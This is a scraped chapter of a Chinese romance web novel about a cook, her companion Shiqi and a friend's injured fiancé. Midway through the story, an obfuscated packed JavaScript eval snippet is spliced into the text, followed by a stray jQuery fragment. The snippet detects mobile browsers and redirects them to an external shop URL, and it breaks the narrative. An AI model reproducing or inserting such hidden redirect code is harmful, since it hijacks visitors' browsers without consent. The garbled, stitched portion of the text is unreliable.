文趣网 > 其他小说 > 捞起一个皇太孙 > 20.腐皮鳜鱼
    臭豆腐在平洲又叫臭胚,可清蒸,可油煎。许是生长在水边,易得鱼,阿滢偏好拿臭胚当作蒸鱼的辅料。

    今日酵成,阿滢做的便是蒸双臭。

    豆腐浸过腌苋菜梗的汁水,沾上淡淡青绿颜色,质地软韧,喜好这口的人一见便胃口大开。

    不好这口的人,例如十七,已经面如菜色,默默思考自己昨日是不是说了大话。

    苋菜梗蒸熟之后看似还保持着甘蔗一样挺拔的外形,实则夹起时要尤为当心,它嫩若豆腐,纤维感在起酵过程中烟消云散,留下的只有一抿爆汁的口感。

    蒸双臭的两位主角亮相之后,从气味上来说可谓难分伯仲,就连点缀期间的毛豆子,十七光是瞅着都胆寒,更别提去尝它。

    “阿滢,我做不到。”

    十七抱着阿滢特地给他做的鸡丝冷淘,退到了大门外。这儿通风良好,可以消解些许臭味。

    说到臭味,十七觉得,经过上锅蒸熟这个步骤臭味好像减轻许多,隐约闻到一股鲜甜。

    十七呆滞地嗦了口冷淘,想说自己一定是疯了,怎么会鲜甜。

    好在阿滢并不介意,她吃她的,他吃他的。

    这回苋菜梗做得好,外皮稍硬些,里边几乎成了流淌质地,就像半熟的鸡蛋黄,拿筷子一戳,蛋黄自然淌出,沁入米饭极其下饭,苋菜梗也是一样的,回味是无穷的鲜美。

    此外,阿滢还烹了一道腐皮鳜鱼。

    鱼肉腌过,拿豆腐皮包裹,下锅炸至金黄捞出,淋上玫瑰香醋。虽淋了香醋,外皮仍然酥脆。火候到位,鳜鱼肉口感介于嫩滑与入味之间,绝不会有腥气。

    这一餐两人吃得都算满意,尤其十七,果然偏好酸甜,那道腐皮鳜鱼剩的汤汁也被他倒进碗里,拌着冷淘吃尽了。

    阿滢看在眼里,心说鳜鱼鲜味顶级,口感却不是最为软嫩,下次试试别的鱼。

    下次,对啊,她和十七有许许多多的“下次”,每一餐每一食都要在一起吃!

    就算偶尔吃不到一处去,那也没关系,总有可以分享的时候。

    对于阿滢突然燃起的斗志,十七敏锐地觉察到,但有点懵,他看了看阿滢,未能得出结果,于是继续刷碗。

    阿滢在说:“等六月黄出来,我做面拖蟹给你吃。”

    十七嗯了声先应下来,然后才问:“六月黄是什么?听起来是蟹?”

    “对,老话说‘忙虽忙,勿忘六月黄’,六月前后壳软黄多,很好吃的,碰到壳薄的,可以连壳一起吃呢。”

    光是谈到面拖蟹,阿滢就已经忍不住咽唾沫,好想明天睁眼醒来就到六月!

    “不过那种河蟹我们这边没有,得去县里买。”阿滢拍了拍十七的胳膊,“为了六月黄,我们多攒银钱!”

    原来斗志从这儿来,十七不动声色地笑了下。

    今日聊久了些,出门晚了,两人迎面撞上跑腿的闲汉。

    竟有一封信从平洲府递来,给阿滢的。

    两人心中隐有不安,赶紧拆信阅读。

    前阵子乔乔写过信,说黄潇回家了,人没事。走失案也查得差不多,但没说幕后之人是谁,按赵婆婆所说常用五石散的非富即贵,也许乔乔不便透露。

    这封信内容拢共才一列,阿滢每个字都认得。

    竟是黄潇所书,请阿滢前去劝慰乔乔。

    “难道是胎像不稳?”阿滢忧心忡忡,一顿乱猜。

    十七把信纸接过来,举到与视线平齐,仔细端详,片刻后他说:“纸张很皱,像是被揉过,或是曾经藏于狭窄处。”

    听起来像在暗中传递消息,迫不得已才会使得信纸这么皱。莫非黄潇又遇险了?

    但黄潇遇险,率先求助的肯定不是阿滢。

    那就是黄潇不想让身边人知道他写了这封信。

    阿滢心都揪起来了,“肯定是乔乔出大事了,他说让我‘劝慰’,就算有什么天大的事乔乔的爹娘在她身边啊,到底怎么了……”

    阿滢一急便火烧眉毛似的。

    十七把信收好,当即扶住她的肩,“我们这就去平洲府,先不要胡思乱想,乔姑娘现在正需要你,可能要你拿主意,可能要你的大力支持,阿滢,我们边走边说。”

    这番话切中要害,阿滢顿时冷静下来,红着眼眶回去拿银子。

    钱袋捧在手里沉甸甸的颇有分量,这是他们俩近些时日的全部所得。

    阿滢看向十七,张了张口。

    才刚穷过,赚得这些银子,有可能又要花光。

    倘若一个人就罢了,这里面可还有十七挣来的银钱。

    只这一眼,十七便知道阿滢在想什么。他让她把钱袋拿好,温声说:“乔姑娘也是我的朋友。钱没了可以再挣。”

    “好。”

    阿滢不多言,两人马不停蹄赶往平洲府。

    **

    平洲府衙,后院厢房。

    梨木六柱架子床里伸出一只手,死死攥紧床帐。这只手清瘦修长,骨骼明显,关节处还有旧伤痕迹。

    乔乔气笑了,扯了张椅子铺上软垫,就坐在床前哪儿也不去,跟他耗着。

    “大热天门窗紧闭还拉着帐子,你是要热死不成?”

    “不知道的还以为你毁容了。”

    “热出痱子可别喊痒!”

    已经不是嘴毒不嘴毒的事了,乔乔只想发泄,凭什么她大着肚子还要来哄他?

    “黄潇,你有责任心吗?是谁口口声声说这是我们第一个孩子,是谁说还想跟我有第二第三个孩子?你现在连第一个孩子都不要了,你对得起谁?你是对得起自己的良心了,你是舒坦了,你是舍生取义的大英雄,对吗?”

    她一口气说完,狠狠啐道:“我呸!我告诉你,我会恨你一辈子!”

    那只攥着床帐的手颤了一下。

    乔乔死死盯着床帐,透过床帐去看黄潇。

    不知过了多久,沙哑的嗓音响起:“孩子的去留,你自己决定。倘若生下来,你养了一阵子不想养了,就交给我。”

    乔乔又狠狠呸了声,泪珠子直往下掉。

    黄潇听见乔乔哭了,犹豫片刻,终于掀开帐子。

    薄被下有一侧高高隆起,是他受伤的腿。大夫讲,断骨再生是目前唯一的办法,成功的机会……十分渺茫。

    “你听我说,如若不成,往后余生我都将是废人。”

    黄潇形容沧桑,一下子老了十岁似的,“乔乔,你知道什么是废人吗?废人就是没法背你抱你,没法骑马奔驰,没法把我们的孩子举起来转圈圈。”

    “我也无法参加科举,没有功名,我就只是纨绔子弟,前途黯淡,待爹娘百年……恐怕就是坐吃山空吧,门庭都撑不起来……”

    放在以前这些话绝对不会从黄潇嘴巴里说出来。

    天之骄子,一身傲骨,许给她的是体面与安稳。

    可是现在,仅仅断了腿,黄潇的心气没了。

    “乔乔,这一眼望得到头的破败人生,你真的愿意陪我?”

    “废话,我当然愿意!”乔乔几乎不作他想,急急打断道:“你把自己说得这么不堪,就是为了赶我走?黄潇我还真就告诉你,我嫁定你了!”

    半个多月前,黄潇被人从马车上抛尸一样抛到衙门口。

    他在鬼门关走一遭,保住了性命,但断了腿。自此,把自己关在屋里谁也不见,一度茶饭不思,汤药不进。

    黄父拿着黄潇提供的线索,忙着破案,熬了几个大夜,最终查到越王头上。

    越王是今上第六子,也是太子的同胞弟弟。

    再往后,便没有黄父的事了,可能是皇家威严不容置喙吧。

    时至今日,街头巷尾像是统一说好的,不再谈论孩童走失案,当然也无人谈及越王。

    黄潇为此付出的一切,如梦幻泡影。

    黄父黄母对于他的婚事有所动摇。虽然在他们看来,就算腿断了儿子也照样找得到好媳妇,可是乔明心已经怀上孩子,近水楼台、知根知底、木已成舟,太多太多因素说服他们接受乔明心这个儿媳。

    尤其是黄母,对乔明心的态度微妙地好起来。

    而这种微妙,被黄潇看得清清楚楚。

    现在的局面是所有人都觉得他们应该赶快成婚,趁着乔乔还没显怀,把婚事办了。

    可黄潇觉得荒唐至极,乔乔值得最隆重的婚仪,三媒六聘、八抬大轿,而非将就。

    “乔乔,你该懂我的。”

    黄潇叹了口气,把一直握在手里的物什递给她,“这是我家祖传的玉璇玑。如若诞下孩儿,便让孩儿传下去。”

    玉石温润,璇玑形状别具一格,是北地特色,可是乔乔哪来心思欣赏玉石。她把玉璇玑举起来,举到黄潇面前,带着泪意,声声质问:“你拿什么身份说这番话?你都不想要这个孩子了,还给什么传家宝?”

    “乔乔,我没有不想要它。”

    黄潇也落泪了。

    断骨时再痛他也没掉过一滴泪。

    他从越王别院拼死拼活逃出来,心中想的念的都是乔乔与孩子,叫他如何能割舍?可是,爱护乔乔爱护孩子的,该是更好的人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515177|202119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两人泪眼迷蒙,一再僵持。

    而匆匆赶来的阿滢从乔母那儿获知来龙去脉。

    阿滢是什么人,也就看在乔乔面上才给黄潇几分薄面,如今黄潇犯下蠢事,她想也不想径直杀去厢房。

    “施姑娘,你终于来了。”

    黄潇见到阿滢如同见到救星,殷切地说:“帮我劝劝乔乔吧,我不想拖着她,更不想困住她。如今我已是废人——”

    “住嘴!”阿滢怒火中烧,但又怕惊着乔乔的胎气,她压了又压,声色俱厉地沉声骂道:“你不是废人,你是懦夫,还是最没脑子的那种懦夫!”

    “你以为你做出的决定是忍痛成全,可你有没有想过她身心、名节全都系于你身?无论孩子生下来还是不生下来,你做的事都叫始乱终弃。”

    始、乱、终、弃。

    打死黄潇他都想不到这四个字有一天会冠在自己头上。

    他呆愣住了,有点不知道脑子怎么转。

    透过泪眼去看乔乔,他放在心尖尖上的人,在哭泣。

    乔乔本就瘦弱,又意外怀有身孕,如今一张小脸憔悴不堪,哪有往日风采。

    黄潇心口钝钝的痛,他想去牵乔乔的手,可是一伸出手就看见自己的伤,看见自己的病气。

    他犹如被烈火烫到,瑟缩地退回帐中。

    房内一时间陷入静默。

    阿滢气顺了些,搂住乔乔,要将她带离此地。而乔乔也知道,要是几句话就能骂醒一个人,那倒是不算事儿了,或许黄潇需要时间来反应,可是,她累了。

    乔乔胡乱擦着泪,朝阿滢挤出一点笑意,“累你们跑一趟,真是对不住,这个节点你们吃过饭没有?要是还没吃,我领你们下馆子。”

    “吃过了。”阿滢见不得乔乔掉眼泪,她鼻头也酸酸的。

    这时,床榻传来动静。

    竟是黄潇挣扎着起身,他借用上肢的力量,忍着剧痛,大汗淋漓,狼狈不堪。

    但这一次黄潇终于不再以残腿为耻,他顾不上了,他只知道,一定留住心上人。

    “乔乔……”

    从自己的骄傲里挣扎出来,这个过程很痛,可是朝着心上人的方向,好像可以再坚持一点点。

    黄潇又哭又笑,望向乔乔时,眼中满是期盼。

    乔乔下意识抚着肚子,面露犹豫。

    往事种种,一幕幕一声声皆在重现。乔乔眼前逐渐从模糊转为清晰,半晌,她朝着黄潇,坚定地走去。

    阿滢退出去,看了眼等在外面的十七,没有多说什么。

    走远了,站在僻静的树下,听着知了一声声叫唤,不觉得聒噪,反而把心底的闷闷不乐给荡平了。

    忽然,跌进一个温柔的怀抱。

    十七个头比她高些,拥抱时她脸颊正好挨在他胸前。当他开口说话,声音变得很奇妙,仿佛是心口在说话。

    阿滢拿脸蹭了蹭,新奇道:“你怎么都不出汗的,热天抱着你可真舒服。”

    “是吗……”十七抬手给她挡着树叶间隙漏下的阳光,不经意贴到她发丝时发现她整个后脑勺都被晒烫了。十七连忙说:“进屋吧,仔细给你晒坏了。”

    “不想动。”刚才大动肝火,现在阿滢只想安安静静和十七待一会儿。

    十七想了想,搂住她腰身,带着她往边上挪了几步,这样完全笼在树荫下,凉快不少。

    阿滢叹道:“真是一个猴一个栓法,黄潇那样的性子,也就乔乔能受得了,换了我,恐怕已经一拳上去先把他打服再说。”

    又叹:“十七,你真好。”

    “你可以打我。”十七说:“要是哪天我脑子不清楚犯浑了,你打我吧。”

    阿滢仰头看他。

    怎么还有上赶着找揍的?

    十七信誓旦旦,“我认真的。”

    阿滢盯着他瞧,好生俊俏的一张脸,哪里下得去手。

    “好啦我们去找姨姨吧。”

    阿滢拉着十七就要走,十七还在纠结:“你得打我。”

    “知道了知道了,我给你一拳,不,三拳,可以吧?”

    两人吵吵闹闹地离开小院。

    一旁的支摘窗里,御医甲看向御医乙,语气不确定地说:“方才那位郎君的背影,怎么瞧着……很像太孙殿下?”

    御医乙正在琢磨黄潇腿疾的事,翻遍古方,奋笔疾书,他头也不抬地说:“怎么可能,那不就是一对腻腻歪歪的眷侣,你何时见过太孙殿下如此?”

    “不不不,我得去确认一下。”

    御医甲蹭的站起来,夺门而出。